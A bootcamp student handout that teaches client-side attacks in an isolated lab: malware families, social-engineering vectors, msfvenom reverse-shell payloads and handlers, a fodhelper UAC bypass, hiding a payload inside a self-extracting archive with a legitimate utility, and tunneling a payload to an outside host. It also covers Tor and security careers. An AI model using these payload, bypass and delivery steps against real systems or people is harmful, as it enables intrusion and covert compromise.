STUDENT HANDOUT · DAY 4

Client-Side Attacks, Payloads and Career Paths

Digital Forensics & Cyber Security Bootcamp · Atomcamp

Trainer: Waseem Abbas Khan — Senior Cybersecurity Specialist, CEI Master Trainer

Where this day sits

The previous three days attacked services. Servers announce themselves: a port answers, a banner is returned, a version can be fingerprinted. Today attacks a different target — a person — and the technical problem changes completely. There is no port to scan. There is a decision to be influenced: open this attachment, plug in this USB, click this link, hold this door.

This is the client-side attack. It is how the overwhelming majority of real intrusions begin, and it is the reason security programmes spend as much on awareness training as on firewalls.

SCOPE AND LEGAL CONTEXT This day covers offensive techniques: payload generation, payload delivery, UAC bypass, and tunneling. Every one of them was demonstrated against a Windows 10 virtual machine that the trainer controlled, on an isolated network, for the explicit purpose of teaching defence. Building or delivering an unrequested payload to any system, or any person, is a criminal offence under the Prevention of Electronic Crimes Act 2016 in Pakistan and equivalent legislation elsewhere. The entire professional value of this material depends on it being used inside a written scope, for a client who asked for it, with a report at the end.

Outcomes

#	Outcome	Evidence produced
1	Name and distinguish the malware families and state what each is designed to do	A classification table with a real example per family
2	Describe the social-engineering vectors and the human weaknesses they exploit	An analysis of one real phishing campaign
3	Generate a payload with msfvenom and receive it with a handler	A Meterpreter session prompt
4	Explain what UAC is, and demonstrate a bypass on a lab host	getuid output before and after
5	Explain why tunneling is required for a remote target and configure one	A payload delivered from outside the local network
6	Describe the Dark Web's architecture, the relay model, and how to investigate it lawfully	A written summary of the Tor relay model
7	Map the security job market to roles, tooling and skills	A career-direction statement

1. Malware Families

A malware family is defined by how it spreads and what it does, not by what it is called in a news headline. The names below are the standard ones, and using them correctly is part of speaking the professional language.

1.1 The families

Family	How it spreads	What it does	User interaction	Example
Virus	Attaches itself to a legitimate file or program	Executes when the host file runs; infects other files	Required — the user must run the infected file	Melissa (1999)
Worm	Self-propagates across networks without a host file	Spreads autonomously; often delivers a payload	None — no user action needed	WannaCry (2017), Conficker
Trojan	Poses as legitimate software	Opens a backdoor or installs other malware once run	Required — the user must install and run it	Emotet, Zeus
Ransomware	Delivered by phishing, exploitation or a worm	Encrypts data and demands payment	Usually required, except when delivered by a worm	WannaCry, LockBit
Spyware	Bundled with software, or delivered by a trojan	Collects keystrokes, screenshots, browsing activity	Sometimes; often silent	Agent Tesla, FinFisher
Adware	Bundled with free software	Injects advertisements; sometimes proxies traffic	Installation required	Fireball
Rootkit	Installed after another compromise	Hides the attacker's presence at kernel or firmware level	None after installation	TDL-4, Necurs
Botnet agent	Worm, trojan or exploitation	Enrols the host in a remote-controlled network	Varies	Mirai (IoT), Emotet
Fileless malware	Uses legitimate tools already on the system	Lives in memory or the registry; almost no files on disk	Often via a document macro	PowerShell Empire, Powerliks

1.2 The distinction that matters most: user interaction

WHY THIS COLUMN IS THE IMPORTANT ONE The column the session highlighted — user interaction — is the one that determines your defensive strategy. A virus or trojan requires a person to choose badly: run the file, enable the macro, allow the install. Training and email filtering reduce that risk. A worm requires no decision at all, so training does nothing and the only defences are patching and network segmentation. WannaCry spread to 200,000 systems in a weekend without a single person clicking anything.

1.3 Fileless malware, in more detail

Fileless malware deserves separate treatment because it defeats most traditional controls. It achieves execution without dropping an executable to disk, typically by abusing a signed, trusted binary that is already present.

Technique	Abused component	Why antivirus misses it
PowerShell download cradle	powershell.exe	A signed Microsoft binary doing what it is designed to do
Macro execution	winword.exe, excel.exe	The document is not malicious; its instructions are
Registry storage	mshta.exe, rundll32.exe	Payload lives in a registry key, not a file
WMI subscription	wmiprvse.exe	Persistence with no file and no scheduled task
Living off the land	certutil, bitsadmin, regsvr32	Administrative tools used for legitimate purposes

The defensive conclusion follows directly: if the attacker uses your own tools, then tool-based blocking is insufficient. What remains is behavioural detection — correlating process parentage, command-line arguments and network destinations — which is precisely what Sysmon and a SIEM provide. This is the subject of the last section of this handout.

2. Attack Vectors and the Human Layer

The technical payload is the last step. Everything before it is influence, and influence follows predictable patterns. Understanding those patterns is what allows you to write a phishing simulation that tests people honestly, rather than one that simply humiliates them.

2.1 The vectors

Vector	What it is	Typical pretext	The defensive control
Phishing email	Bulk email with a link or attachment	Invoice, delivery notice, account warning	Email filtering, DMARC, user reporting button
Spear phishing	Targeted email, researched for one person	A project the person is actually working on	As above, plus MFA that resists real-time phishing
Vishing	Telephone call	IT support asking for a code, or a bank fraud check	Identity verification procedure at the helpdesk
Smishing	SMS or messaging app	Parcel delivery, MFA prompt, bank alert	Number blocking, user training
Pretexting	A constructed scenario to justify a request	An auditor needing access, a new starter needing a password reset	Process design: verification before action
Baiting	Leaving something attractive to be found	A labelled USB drive in a car park	Endpoint control over removable media

2.2 The physical vectors

Vector	Method	Why it works	Control
Eavesdropping	Listening to a conversation, or capturing wireless traffic	People discuss sensitive matters in public	Physical awareness, encrypted wireless
Shoulder surfing	Watching a screen or keyboard over someone's shoulder	Screens face outward on trains and in cafes	Privacy filters, screen locking
Tailgating	Following an authorised person through a controlled door	Politeness. People hold doors	Mantraps, turnstiles, staff challenge training
Dumpster diving	Recovering documents and media from waste	Printed material gets thrown away intact	Cross-cut shredding, clean-desk policy

THE COMMON THREAD Every one of these exploits a normal human trait rather than a technical flaw. Tailgating works because refusing to hold a door feels rude. Pretexting works because helping someone who sounds like a colleague feels right. This is why awareness training that says 'be suspicious' fails, and training that gives a specific procedure — verify identity, then act — succeeds.

2.3 Reading list and viewing list

Item	Author / Format	What it teaches
The Art of Deception	Kevin Mitnick	Social engineering as a discipline, told as stories
The Art of Intrusion	Kevin Mitnick	Real intrusion narratives and the human decisions that enabled them
Ghost in the Wires	Kevin Mitnick	The autobiography; how pretexting and persistence combine
The Art of Exploitation	Jon Erickson	Low-level exploitation, memory and shellcode
The Hacker Playbook 1, 2, 3	Peter Kim	Practical attack methodology, closest to how engagements are actually run
Human Hacking	Christopher Hadnagy	The psychology of social engineering, with technique
Mr Robot	Television	Dramatised, but the social engineering and operational-security detail is unusually good
CSI: Cyber	Television	Highly dramatised; useful for recognising terminology, poor for procedure
Snowden	Film	Insider threat, data exfiltration and the ethical argument, regardless of your view of him

A note on the viewing list: films and television portray attacks in seconds that take hours, and invariably skip the recon, the failures and the reporting. Watch them for vocabulary and motivation, not for technique. The Playbooks are the closest written approximation to what an engagement actually feels like.

3. Laboratory Build

Machine	Role	Source	Notes
Kali Linux	Attacker	kali.org	msfvenom, msfconsole, PowerShell
Windows 10	Target	Microsoft evaluation — or massgrave.dev for an activated lab build	Isolated network; snapshot before use
Metasploitable 2	Secondary target	vulnhub.com/entry/metasploitable-2,29	The Linux target from Day 2
Ubuntu Server	Optional target	ubuntu.com, or osboxes.org images	Realistic Linux host
FLARE VM	Malware analysis	github.com/mandiant/flare-vm	A Windows VM preloaded with analysis tools
REMnux	Malware analysis	remnux.org	A Linux distribution for analysing malicious artefacts

TWO VMS THAT WILL MATTER LATER FLARE VM and REMnux are the two standard malware-analysis platforms. FLARE VM is a Windows distribution of analysis tools (it must be installed on a Windows host, never used as a daily machine); REMnux is a Linux distribution with the same purpose. You will use both in the malware analysis module. Build them now, snapshot them, and never connect them to a network that contains anything you care about.

Network configuration follows every previous day: an isolated segment, either host-only or an internal network. Verify before proceeding.

```
ip -br addr show
ping -c 2 192.168.50.129
ping -c 2 -W 1 8.8.8.8 ; echo "internet exit=$?"
```

EXPECTED OUTPUT

```
64 bytes from 192.168.50.129: icmp_seq=1 ttl=128 time=1.4 ms
2 packets transmitted, 0 received, 100% packet loss
exit=1
```

4. Payload Generation and Handling

A payload is the code that executes on the target. A handler is the listener that receives the connection the payload creates. The two must agree on three things: the payload type, the address to call back to, and the port.

4.1 Two connection models

Model	Direction	Works when	Fails when
Bind shell	The target listens; the attacker connects inward	The target is directly reachable and inbound traffic is permitted	A firewall blocks inbound connections, which is the normal case
Reverse shell	The target connects outbound to the attacker	Outbound traffic is usually permitted, so this generally works	Egress filtering blocks the port or destination

Almost every modern payload is a reverse shell, for the reason in the third column: firewalls generally allow outbound connections because blocking them breaks normal business use.

4.2 On the local network

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.10 LPORT=4433 -f exe -o win.exe
```

EXPECTED OUTPUT

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 355 bytes
Final size of exe file: 7168 bytes
Saved as: win.exe
```

Flag	Meaning
-p windows/meterpreter/reverse_tcp	The payload: Windows, Meterpreter, reverse TCP. The modern canonical form prefixes the platform architecture, for example windows/x64/meterpreter/reverse_tcp
LHOST	The address the target will call back to — your Kali machine
LPORT	The port the target will call back on
-f exe	The output format: a Windows executable. Other formats include raw, elf, python, php and war
-o win.exe	The output filename

4.3 The handler

```
msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.50.10
set LPORT 4433
run
```

EXPECTED OUTPUT

```
[*] Started reverse TCP handler on 192.168.50.10:4433
[*] Meterpreter session 1 opened (192.168.50.10:4433 -> 192.168.50.129:49812)
```

The handler must be configured with the same payload name, the same address and the same port as the generated file. A mismatch in any of the three produces a session that never appears, with no error message explaining why — the most common beginner obstacle in this exercise.

4.4 What happens when the payload runs

Once the user executes win.exe, the following occurs in order:

1. The executable runs and the Meterpreter stager executes.

2. The stager opens an outbound TCP connection to LHOST:LPORT.

3. The handler on your machine accepts the connection.

4. The full Meterpreter payload is delivered over that connection.

5. A session opens, and you have a remote shell.

```
getuid
```

EXPECTED OUTPUT
Server username: WIN10\student

5. Privilege Escalation: UAC

5.1 What UAC is

User Account Control exists to prevent a compromised non-administrative session from silently obtaining administrative rights. An administrator running as a standard user holds a filtered token; elevation requires a prompt that the user must approve. UAC is a boundary, not a mechanism, and it has historically been bypassable by design flaws rather than by attack.

Term	Meaning
Session 0 isolation	Services run in a separate session from the interactive desktop
Filtered token	The standard-user version of an administrator's access token
Elevated token	The full administrator token, obtained after consent
NT AUTHORITY\SYSTEM	The local system account; higher than any administrator
getsystem	A Meterpreter command that attempts several named techniques to reach SYSTEM

5.2 The sequence demonstrated

```
getuid
```

EXPECTED OUTPUT
Server username: WIN10\student

```
getsystem
```

EXPECTED OUTPUT
[-] priv_elevate_getsystem: Operation failed: Access is denied.

READING THE ERROR CORRECTLY The 'Access is denied' is the interesting outcome, not a failure of the exercise. It demonstrates that UAC is doing its job: the account is an administrator, but the current token is filtered, so SYSTEM cannot be obtained directly. The session then used a specific bypass rather than a generic one, which is exactly the right response.

5.3 The bypass, step by step

```
Ctrl+Z                # suspend meterpreter back to the msf prompt
background            # or: background  (the session keeps running)
sessions              # list sessions
search bypassuac
use exploit/windows/local/bypassuac_fodhelper
show options
```

EXPECTED OUTPUT

```
Matching Modules
================
  #  Name                                    Rank
  -  ----                                    ----
  0  exploit/windows/local/bypassuac_fodhelper       excellent
  1  exploit/windows/local/bypassuac_silentcleanup   excellent
  2  exploit/windows/local/bypassuac_eventvwr        excellent
  ... (13 bypassuac modules are installed on Kali)
```

```
set SESSION 1
set LHOST 192.168.50.10
set LPORT 4433
exploit
```

EXPECTED OUTPUT

```
[+] UAC is set to Default
[+] LocalAdmin is a member of the Administrators group
[+] Part of Administrators group! Continuing...
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: WIN10\student
meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

WHAT THE OUTPUT IS ACTUALLY TELLING YOU Two details matter. First, the bypass gives you a session with an elevated token, but the username in getuid still reads student — isolation is about the token, not the name. Second, getsystem then succeeds where it failed before, because the token can now be impersonated. The 13 bypassuac modules on Kali include fodhelper and silentcleanup, both of which are still effective on many builds because they abuse auto-elevating Windows binaries rather than broken cryptography.

6. Payload Delivery

A payload that nobody runs is a file on a disk. Delivery is the process of making someone run it, and it ranges from trivial to elaborate. Two approaches were demonstrated.

6.1 Binding a payload to a legitimate file

The approach shown uses a self-extracting archive, built with WinRAR's SFX tool on Windows, to bundle the payload alongside a legitimate utility such as rufus.exe in a single executable. The user runs one file, the utility appears to work, and the payload executes in the background.

1. Place the payload and the legitimate executable in one folder.

2. Select both, then choose 'Extract to a compressed single file'.

3. Configure the SFX options: extraction path, and the command to run after extraction.

4. Build the executable, and name it something a target would plausibly run.

THE DEFENSIVE VIEW Legitimate software is increasingly built this way for legitimate reasons, which is why the technique is not detectable by file type alone. The defence is not 'do not open executables' — users must open executables to work — but application control (AppLocker or WDAC) combined with signed binary enforcement, and blocking unsigned binaries sourced from email and download directories.

6.2 Delivery over the internet: tunneling

On a local network, LHOST is a local address the target can obviously reach. Across the internet, your Kali machine is behind NAT: it has no publicly routable address, so the target has nowhere to connect back to. Tunneling solves this by creating a public endpoint that forwards to your machine.

Tool	Type	Notes
ngrok	TCP/HTTP tunnel, commercial with a free tier	The best-known option; free tier gives a random URL
localtunnel	Open source	Quick, less reliable
LocalXpose	Commercial with a free tier	Similar model to ngrok
localtonet	Commercial with a free tier	Used in the session
Telebit	Open source	Alternative

The flow:

1. Start the tunnel on Kali; it returns a public hostname and port.

2. Generate the payload with that hostname and port as LHOST and LPORT.

3. Send the payload to the target, who runs it.

4. The target connects to the public endpoint, which forwards to your Kali machine, where the handler listens.

6.3 The error that teaches the lesson

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=dvs61hnpiy.localto.net LPORT=6698 -f exe -o win.exe
```

EXPECTED OUTPUT

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Error: One or more options failed to validate: LHOST.
```

Verified during preparation: current msfvenom rejects a hostname in LHOST and requires an IPv4 or IPv6 address. The diagnostic step that resolved it in the session is exactly right:

```
ping dvs61hnpiy.localto.net
```

EXPECTED OUTPUT

```
PING dvs61hnpiy.localto.net (23.158.232.71) 56(84) bytes of data.
```

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=23.158.232.71 LPORT=6698 -f exe -o win.exe
```

EXPECTED OUTPUT
Payload size: 355 bytes
Final size of exe file: 7168 bytes
Saved as: win.exe

THE TRANSFERABLE LESSON The lesson is larger than msfvenom. When a tool rejects an input, the question to ask is 'what format does this option expect', and the answer is usually available in '--help' or in the module's own documentation. Reading the error message and testing the hypothesis with a separate command (ping) is the entire diagnostic method, and it works on every tool you will ever use.

6.4 The handler for a remote target

```
msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4433
run
```

EXPECTED OUTPUT
[*] Started reverse TCP handler on 0.0.0.0:4433
[*] Meterpreter session 1 opened

LHOST 0.0.0.0 means 'listen on every interface', which is what you need when the connection arrives through a tunnel rather than directly. The tunnel terminates the public connection and forwards it to your local port, so the handler must accept connections from any interface, not only from a specific address.

7. The Dark Web: Architecture and Investigation

The Dark Web is discussed as a mysterious place. It is not. It is a set of overlay networks that provide anonymity, built with documented cryptography and publicly released code. Understanding the architecture is what allows a professional to investigate it lawfully.

7.1 The three layers

Layer	Definition	Indexed by search engines	Example
Surface web	Publicly reachable and indexed	Yes	News sites, Wikipedia
Deep web	Reachable but not indexed — behind authentication or a form	No	Webmail, intranet, subscription databases
Dark web	Overlay networks requiring specific software	No	Onion services, I2P eepsites

THE DISTINCTION PEOPLE GET WRONG The deep web is almost entirely mundane: your webmail, your company intranet, the content management system of any website. The dark web is a small specialised subset. Conflating the two is the single most common error in public discussion of this subject, and it makes people afraid of the wrong thing.

7.2 The four networks

Network	Design	Addressing	Notes
Tor	The Onion Router: three-relay circuit through a volunteer network	.onion addresses, 56 characters (v3)	The dominant network; open source since 2004
I2P	Garlic routing; a separate self-contained network	.i2p addresses	More insular than Tor; peer-to-peer oriented
Freenet / Hyphanet	Distributed datastore with no central servers	Keys, not addresses	Built for censorship resistance, not for browsing
ZeroNet	Peer-to-peer sites, often over BitTorrent	Bit addresses	Less maintained than the others

7.3 How Tor actually works

Tor was developed at the United States Naval Research Laboratory in the mid-1990s, released as open source in 2004, and is now maintained by a non-profit foundation. A connection passes through three relays, each knowing only its neighbours.

```
You  --->  ENTRY NODE  --->  MIDDLE RELAY  --->  EXIT NODE  --->  destination
        knows your IP      knows neither end     knows the destination
                                                 but not who you are
```

Relay	Knows	Does not know
Entry node (guard)	Your IP address	Your destination
Middle relay	Nothing about either end	Everything
Exit node	Your destination	Your IP address

THE SECURITY CONSEQUENCE The design means no single relay can link you to your destination, which is the whole point. It also means the exit node can see unencrypted traffic — which is why HTTPS still matters on Tor, and why malicious exit nodes have historically harvested credentials from plaintext traffic.

7.4 Onion addressing: v2 and v3

Version	Length	Status	Notes
v2	16 characters (Base32)	Deprecated and removed from Tor	Short, guessable by enumeration at scale; retired for that reason
v3	56 characters (Base32)	Current	Based on ed25519 keys; enumeration is computationally infeasible

The length difference is not cosmetic. A 16-character address space is small enough that entire directories could be built by crawling; a 56-character space is not. The retirement of v2 in 2021 removed a significant intelligence source and a significant attack surface at the same time.

7.5 Directories and indexes

Onion services are not indexed by ordinary search engines, so directories grew up to index them. The session referenced The Hidden Wiki for discovering addresses and onion.live for checking whether an address is live. Treat both as unreliable: directories are frequently stale, and a significant proportion of listed addresses are scams, phishing sites or law-enforcement decoys.

PROFESSIONAL CONTEXT Investigating the Dark Web as a professional — threat intelligence, brand monitoring, fraud research — is legitimate work performed by banks, security vendors and law enforcement. Personal, curious browsing is a different activity. The distinction is the same one that governs everything else in this course: authorised purpose, documented scope, and a defensible reason for what you did. Use the Tor Browser, never the bare Tor daemon, and never from a machine that identifies you.

8. The Job Market and How to Enter It

The session closed with the professional landscape. This section maps it, including an assessment of the market in Pakistan.

8.1 Security operations centre (SOC)

A SOC is the function that watches an organisation's systems continuously. Its work has three parts:

Stage	What happens	Typical tooling
Log collection	Firewalls, switches, routers, Linux servers and Windows endpoints send their logs to one place	Syslog, Wazuh agents, Windows Event Forwarding
Log correlation	Events from different sources are combined to find patterns a single source could not reveal	SIEM — Security Information and Event Management
Analysis and response	An analyst investigates the alert, decides severity, and acts	Dashboards, playbooks, ticketing

8.2 Wazuh: the open-source route in

Wazuh is an open-source SIEM and host-intrusion detection platform. It is widely used in budget-constrained environments and is an excellent way for a student to learn SOC work without a licence.

Component	Role
Wazuh agent	Installed on each endpoint; collects events and forwards them
Wazuh manager	Receives, decodes, correlates and applies rules
Wazuh indexer	Stores and indexes the data
Wazuh dashboard	Visualisation and alerting, built on OpenSearch
OpenSearch	The search and analytics engine underneath

The practical pathway: build a two-machine lab (Kali and Windows), install the Wazuh manager on a third Linux machine, deploy the agent on the Windows host, then generate activity from Kali — port scans, failed logons, a payload execution — and watch the alerts appear. That single exercise teaches more SOC skill than any amount of reading, and it produces a portfolio artefact.

8.3 The specialisms

Specialism	Focus	Entry credential
Web penetration testing	Applications and APIs	eJPT, then PNPT or OSCP
Network penetration testing	Infrastructure and Active Directory	PNPT, OSCP, CPTS
API security	REST, GraphQL, authentication	Portfolio, then OSWA
Cloud security	Azure, AWS, GCP	SC-500, AZ-500, AWS Security Specialty
Mobile security	Android and iOS applications	eMAPT, portfolio
GRC	Governance, risk and compliance	ISO 27001 Lead Implementer, CISA

8.4 Threat intelligence

Concept	Meaning	When it is captured
IOC — Indicator of Compromise	Evidence that a compromise has already happened	After the fact
IOA — Indicator of Attack	Evidence that an attack is in progress	During the attempt
TTP — Tactics, Techniques, Procedures	How a specific actor operates	Across campaigns

The distinction is temporal and it determines the defensive response. An IOC is retrospective: it tells you someone got in, and you build detections to catch the same artefact again. An IOA is prospective: it tells you someone is trying now, and you can still prevent it. An attacker's TTPs change more slowly than their IOCs, which is why behaviour-based detection outlasts signature-based detection.

8.5 The Pakistani market

Reality	Detail
Entry-level demand	Genuine and growing in banks, telecoms, government and managed service providers
The bottleneck	Not qualifications but evidence: employers want a portfolio, not a certificate
Most realistic first role	SOC analyst L1 in a bank, telecoms operator, or managed SOC
Second most realistic	Penetration testing in a consultancy — fewer roles and more competition
Regional mobility	Gulf (UAE, Saudi) demand for certified professionals is strong, and often better paid
What actually differentiates	A GitHub portfolio, a lab, and the ability to explain a finding in business terms

THE HONEST ASSESSMENT The honest version: a certificate gets your CV past an automated filter. A portfolio gets you the interview. The ability to explain a finding to a manager who does not understand technology gets you the offer. Every day of this course has been building the third item, which is the one most candidates lack.

9. How to Build the Skill

Resource	Type	Best for
TryHackMe	Guided labs	Learning a topic end to end; the best starting point
Hack The Box	Machines	Unstructured practice once you know the fundamentals
PicoCTF	Competition	Beginners; the challenges are designed to teach
OverTheWire	Wargames	Linux and networking fundamentals, bandit and natas
CTFtime	Index	Finding upcoming competitions
The Hacker Playbook 1-3	Books	Practical engagement methodology
Kali Linux documentation	Reference	Tool-specific usage
YouTube	Video	Demonstration — but never a substitute for doing it yourself

A CAUTION ON VIDEO Video is the least effective way to learn a practical skill, and the most popular. Watching someone scan a host teaches you what a scan looks like. Running the scan, breaking it, fixing it and then explaining the output in writing teaches you to scan. Do the second thing; use video only to understand a concept you have already read about.

10. Key Takeaways and Assignment

1. User interaction is the defining property of a malware family, and it determines your defence.
2. A worm needs no human decision, so training does nothing; only patching and segmentation help.
3. Fileless malware defeats tool-based blocking. Behavioural detection is what remains.
4. Reverse shells work because outbound traffic is usually permitted. That is a design weakness in perimeter security.
5. A handler and a payload must match on payload name, address and port, or no session appears and no error explains why.
6. UAC is a boundary and it is bypassable by design flaw, not by attack. Assume standard-user rights are what an administrator actually has.
7. Tunneling exists because your attacker machine is behind NAT. Understand the direction of the connection.
8. A certificate passes the filter; a portfolio gets the interview; clarity gets the offer.

Assignment

Task	Requirement	Weight
Malware classification	A table covering all nine families, with a real example, the spread method, and the control that would have stopped it	30%
Payload lab write-up	Generate a payload, receive it with a handler, document each step with the exact command and output, and explain why UAC blocked the first getsystem	40%
Career statement	Half a page: which specialism you are aiming for, the entry credential, and three concrete things you will have on your portfolio in three months	30%

Submit in /s08-client-side. The payload write-up must include a paragraph explaining the legal and scope constraints under which such a test may lawfully be performed.